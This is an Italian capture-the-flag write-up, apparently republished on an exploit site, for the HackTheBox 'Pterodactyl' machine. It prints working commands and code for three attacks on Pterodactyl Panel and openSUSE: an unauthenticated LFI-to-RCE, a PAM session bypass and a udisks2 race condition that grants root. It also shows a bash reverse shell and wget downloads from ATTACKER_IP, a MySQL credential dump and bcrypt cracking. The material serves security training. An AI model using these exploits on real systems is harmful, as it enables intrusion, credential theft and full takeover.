Sploitus

Exploit for HTB-Pterodactyl-Writeup

kitploit · 2026-08-26

Exploit Code

MARKDOWN366 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KARIMELSHEIKH1-HTB-PTERODACTYL-WRITEUP
# HackTheBox — Writeup Pterodattilo

> **Difficoltà:** Media | **Sistema operativo:** Linux (openSUSE Leap 15.6) | **Stagione:** 10

* * *

## Riepilogo

Pterodactyl è una macchina Linux di difficoltà media che esegue il pannello di controllo per server di gioco Pterodactyl. La catena d'attacco coinvolge una vulnerabilità LFI-to-RCE non autenticata nel pannello, estrazione di credenziali tramite MySQL, cracking di hash bcrypt per l'accesso SSH e una catena di escalation dei privilegi con due CVE che abusa di iniezione di sessione PAM e di una condizione di gara nel resize XFS di udisks2.

**Bandiere:**

  * Utente: `************************`
  * Root: _(ottenuta tramite CVE-2025-6019)_



* * *

## Ricognizione

### Nmap

root@kitploit:~
    
    
    nmap -sSCV -A --min-rate 4000 10.129.44.184
    

**Porte aperte:**

Porta| Servizio| Versione  
---|---|---  
22| SSH| OpenSSH 9.6p1  
80| HTTP| nginx/1.21.5 → pterodactyl.htb  
  
### /etc/hosts

root@kitploit:~
    
    
    echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
    

* * *

## Enumerazione Web

root@kitploit:~
    
    
    dirsearch -u http://pterodactyl.htb/ -t 40
    curl -s http://pterodactyl.htb/changelog.txt
    

**Risultati chiave dal changelog:**

  * Sito: **MonitorLand**
  * Versione pannello: **Pterodactyl Panel v1.11.10** (vulnerabile)
  * PHP-PEAR abilitato
  * Sottodominio: `panel.pterodactyl.htb`



### Analisi di phpinfo.php

root@kitploit:~
    
    
    curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
    

Impostazione  
---  
  
* * *

## Accesso Iniziale — CVE-2025-49132

**CVE-2025-49132** colpisce Pterodactyl Panel ≤ v1.11.10. L'endpoint `/locales/locale.json` passa i parametri `locale` e `namespace` direttamente a `include()` di PHP senza sanitizzazione né autenticazione, consentendo directory traversal e RCE basata su pearcmd.

### Exploit

root@kitploit:~
    
    
    git clone https://github.com/YoyoChaud/CVE-2025-49132
    cd CVE-2025-49132
    
    # Dump configurazione (credenziali DB + APP_KEY)
    python3 exploit.py http://panel.pterodactyl.htb
    
    # Test RCE
    python3 exploit.py http://panel.pterodactyl.htb \
      --rce-cmd "id" \
      --pear-dir /usr/share/php/PEAR
    

**Output:** `uid=474(wwwrun) gid=477(www) groups=477(www)`

### Credenziali Estratte

Servizio| Nome utente| Password  
---|---|---  
MySQL| `pterodactyl`| `PteraPanel`  
Laravel| APP_KEY| `base64:UaThTPQnUjrrK61o+...`  
  
### Reverse Shell

root@kitploit:~
    
    
    # Ascoltatore
    nc -lnvp 4444
    
    # Exploit
    python3 exploit.py http://panel.pterodactyl.htb \
      --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
      --pear-dir /usr/share/php/PEAR
    

* * *

## Movimento Laterale

### Dump Credenziali MySQL

root@kitploit:~
    
    
    mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
      -e "USE panel; SELECT username,email,password FROM users;"
    

Nome utente| Hash  
---|---  
`headmonitor`| `$2y$10$3WJht3/5GOQmOXdljPbAJet...`  
`phileasfogg3`| `$2y$10$PwO0TBZA8hLB6nuSsxRqoO...`  
  
### Bandiera Utente

root@kitploit:~
    
    
    cat /home/phileasfogg3/user.txt
    
    

### Cracking Hash

root@kitploit:~
    
    
    hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
    

**Risultato:** `phileasfogg3 : !QAZ2wsx`

### Accesso SSH

root@kitploit:~
    
    
    ssh some-email@example.com
    # password: !QAZ2wsx
    

* * *

## Escalation dei Privilegi

### Analisi Sudo

root@kitploit:~
    
    
    sudo -l
    

`(ALL) ALL` è configurato ma l'opzione `targetpw` di Defaults richiede la password di root — bloccando l'abuso standard di sudo.

* * *

### Passo 1 — CVE-2025-6018: Bypass Sessione PAM

**CVE-2025-6018** sfrutta `pam_env.so` su openSUSE per iniettare variabili d'ambiente al login. Posizionando `XDG_SEAT=seat0` e `XDG_VTNR=1` in `~/.pam_environment`, un utente SSH remoto può ingannare Polkit facendogli trattare la propria sessione come una sessione attiva della console locale (`allow_active`), sbloccando azioni D-Bus di gestione hardware.

root@kitploit:~
    
    
    echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
    
    # Esci e riconnettiti tramite SSH (PAM rilegge al nuovo login)
    exit
    ssh some-email@example.com
    
    # Verifica
    echo $XDG_SEAT   # seat0
    echo $XDG_VTNR   # 1
    

* * *

### Passo 2 — CVE-2025-6019: Condizione di Gara Resize XFS udisks2 → Root

**CVE-2025-6019** sfrutta l'assenza del flag `nosuid` in libblockdev quando udisks2 monta temporaneamente un'immagine XFS durante una chiamata D-Bus `Filesystem.Resize`. Correndo per eseguire un binario SUID all'interno dell'immagine durante questa finestra, un utente non privilegiato con diritti Polkit `allow_active` può ottenere una shell root.

#### Crea Immagine XFS (sulla macchina attaccante)

root@kitploit:~
    
    
    # Crea immagine XFS usando mkfs.xfs del target per compatibilità
    scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
    
    # Costruisci direttamente sul target invece
    ssh phileasfogg3@TARGET
    dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
    /sbin/mkfs.xfs -f /tmp/xfs_new.img
    

Trasferisci all'attaccante, inietta binario SUID, trasferisci indietro:

root@kitploit:~
    
    
    # Sull'attaccante (come root)
    scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
    mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
    cp rootbash /tmp/mnt/xpl
    chmod 4755 /tmp/mnt/xpl      # Deve mostrare -rwsr-xr-x
    umount /tmp/mnt
    gzip -c /tmp/xfs_new.img > xfs_new.img.gz
    

#### Compila Racer Veloce in C

root@kitploit:~
    
    
    // racer.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <dirent.h>
    #include <unistd.h>
    #include <sys/stat.h>
    
    int main() {
        char path[512], cmd[512];
        struct stat st;
        while(1) {
            DIR *d = opendir("/tmp");
            struct dirent *e;
            while((e = readdir(d))) {
                if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                    snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                    if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                        closedir(d);
                        snprintf(cmd, sizeof(cmd),
                            "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                        system(cmd);
                        return 0;
                    }
                }
            }
            closedir(d);
        }
    }
    

root@kitploit:~
    
    
    gcc -O2 -o racer racer.c
    

#### Esegui la Gara

root@kitploit:~
    
    
    # Sul target
    wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
    wget http://ATTACKER_IP/racer && chmod +x racer
    
    udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
    # Nota il numero del dispositivo loop (es. loop7)
    
    rm -rf /tmp/blockdev.* 2>/dev/null
    /tmp/racer &
    
    for i in $(seq 1 300); do
      gdbus call --system \
        --dest org.freedesktop.UDisks2 \
        --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
    done
    wait
    

**Risultato:** Shell root ottenuta.

root@kitploit:~
    
    
    id
    # uid=0(root)
    
    cat /root/root.txt
    

* * *

## Catena d'Attacco

root@kitploit:~
    
    
    [Nmap] Porte 22, 80
        ↓
    [Enumerazione Web] changelog.txt → Pterodactyl Panel v1.11.10
        ↓
    [phpinfo.php] register_argc_argv=On, PEAR in include_path
        ↓
    [CVE-2025-49132] LFI non autenticata → pearcmd RCE → shell wwwrun
        ↓
    [MySQL] pterodactyl:PteraPanel → hash bcrypt
        ↓
    [Hashcat] phileasfogg3:!QAZ2wsx
        ↓
    [SSH] phileasfogg3
        ↓
    [CVE-2025-6018] ~/.pam_environment → bypass allow_active
        ↓
    [CVE-2025-6019] Resize XFS udisks2 → condizione di gara → esecuzione SUID → ROOT
    

* * *

## Credenziali

Servizio| Nome utente| Password  
---|---|---  
MySQL| `pterodactyl`| `PteraPanel`  
SSH / Pannello| `phileasfogg3`| `!QAZ2wsx`  
  
* * *

## Strumenti Utilizzati

* * *

## Riferimenti

  * PoC CVE-2025-49132
  * PoC CVE-2025-6018-6019
  * Avviso Qualys
  * HackTheBox



* * *

_Writeup di [kareem elsheikh] | HackTheBox Stagione 10_